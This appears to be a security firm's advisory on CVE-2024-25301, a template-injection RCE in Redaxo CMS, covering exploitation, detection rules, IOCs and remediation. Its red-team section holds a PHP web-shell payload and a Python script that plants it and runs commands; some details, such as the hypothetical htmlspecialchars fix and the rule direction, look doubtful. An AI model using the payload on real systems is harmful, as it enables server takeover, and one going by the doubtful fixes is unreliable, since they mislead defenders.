CVE-2024-25301

Executive Summary

CVE-2024-25301 is a Remote Code Execution (RCE) vulnerability identified in Redaxo CMS version 5.15.1. The flaw resides in the /pages/templates.php component, allowing an authenticated attacker to inject and execute arbitrary PHP code on the server. This vulnerability poses a critical risk to web applications using this version of Redaxo, potentially leading to full server compromise, data exfiltration, and lateral movement within the network.

Supply Chain & Package Security

Redaxo is a PHP-based content management system. The vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the CMS core. Organizations using Redaxo should treat this as a high-priority supply chain risk, as the CMS is often deployed with custom templates and extensions.

CVSS Breakdown & Threat Level

While the official CVSS score is listed as 0.0, the nature of the vulnerability (RCE via template manipulation) suggests a high severity. A reasonable CVSS vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – requires authenticated access
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 8.8 (High)

Threat Level: Critical – due to the potential for full server compromise.

Deep Dive & Mechanics

The vulnerability exists in the template management functionality of Redaxo. The /pages/templates.php script processes user-supplied template content without proper sanitization or validation. An attacker with administrative privileges can inject malicious PHP code into a template file. When the template is rendered, the injected code is executed by the PHP interpreter.

Root Cause: Lack of input validation and insufficient separation of code and data in template handling. The application likely uses eval() or include() on user-controlled template content without proper escaping.

Attack Vector: Authenticated HTTP POST request to /pages/templates.php with a crafted payload in the template body.

Impact: Arbitrary PHP code execution, leading to:

• Full server compromise
• Data theft (database credentials, user data)
• Malware deployment
• Lateral movement to internal systems

Vulnerable vs. Patched Code

Vulnerable Code (Redaxo 5.15.1):

// /pages/templates.php (simplified)
$template_content = $_POST['template_content'];
file_put_contents('path/to/template.php', $template_content);
// Later, the template is included
include('path/to/template.php');

Patched Code (Hypothetical):

// /pages/templates.php (patched)
$template_content = $_POST['template_content'];
$sanitized_content = htmlspecialchars($template_content, ENT_QUOTES, 'UTF-8');
file_put_contents('path/to/template.php', $sanitized_content);
// Or use a template engine that escapes output

Key Difference: The patched version sanitizes the input before writing to the file, preventing PHP code injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to Redaxo admin panel (valid credentials)
• Network access to the target server

Exploit Steps:

1. Log in to Redaxo admin panel.
2. Navigate to Templates section (/pages/templates.php).
3. Create or edit a template.
4. Inject malicious PHP code into the template content field. Example payload:

   <?php system($_GET['cmd']); ?>
   

5. Save the template.
6. Trigger the template rendering by accessing a page that uses the template.
7. Execute commands via the cmd parameter:

   http://target.com/path/to/page?cmd=id
   

Automated Exploit (Python):

import requests

target = "http://target.com"
session = requests.Session()

# Login
login_data = {"username": "admin", "password": "password"}
session.post(f"{target}/redaxo/index.php?page=login", data=login_data)

# Inject payload
payload = "<?php system($_GET['cmd']); ?>"
template_data = {"template_name": "evil", "template_content": payload}
session.post(f"{target}/redaxo/index.php?page=templates&func=add", data=template_data)

# Execute command
response = session.get(f"{target}/index.php?cmd=id")
print(response.text)

Blue Team

Detection Steps:

1. Monitor for unusual POST requests to /pages/templates.php.
2. Look for template content containing PHP code (e.g., <?php, system, exec).
3. Check for unexpected file modifications in the templates directory.
4. Review web server logs for suspicious parameters (e.g., cmd, exec).

Honeypot Setup:

• Deploy a fake Redaxo instance with modified templates to capture attacker payloads.
• Use WAF rules to block common PHP injection patterns.

Indicators of Compromise (IOCs)

File-Based IOCs:

• Modified template files in /redaxo/src/addons/be_style/plugins/redaxo/templates/ containing PHP code.
• New files in the templates directory with suspicious names.

Network IOCs:

• POST requests to /pages/templates.php with large payloads.
• GET requests with cmd, exec, system parameters.
• Outbound connections to known C2 servers.

Log IOCs:

• Web server logs showing cmd= or exec= in query strings.
• PHP error logs with eval() or include() warnings.

Detection Engineering

YARA Rule

rule CVE_2024_25301_Redaxo_RCE {
    meta:
        description = "Detects Redaxo RCE exploitation attempts via template injection"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-25301"
    strings:
        $php_code = /<\?php\s+(system|exec|shell_exec|passthru|eval|assert)\s*\(/
        $template_path = "/pages/templates.php"
        $post_method = "POST"
    condition:
        $php_code and $template_path and $post_method
}

Sigma Rule

title: Redaxo RCE via Template Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation of CVE-2024-25301 in Redaxo CMS
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/pages/templates.php'
        cs-uri-query: '*cmd=*'
    condition: selection
falsepositives:
    - Legitimate template editing with PHP code (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-25301 Redaxo RCE Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/pages/templates.php"; http_uri;
    content:"cmd="; http_uri;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Redaxo to the latest patched version (if available) or apply vendor-supplied patches.
2. Restrict access to the admin panel using IP whitelisting or VPN.
3. Disable template editing for non-essential users.

Long-Term Mitigations:

1. Implement input validation – Sanitize all template content using htmlspecialchars() or a template engine.
2. Use a Web Application Firewall (WAF) to block PHP code injection patterns.
3. Enable file integrity monitoring on the templates directory.
4. Conduct regular security audits of the CMS and its extensions.

Workaround (if patching is not possible):

• Remove write permissions from the templates directory for the web server user.
• Implement a custom middleware that inspects template content for PHP code before saving.

Valters IT
Securing Digital Frontiers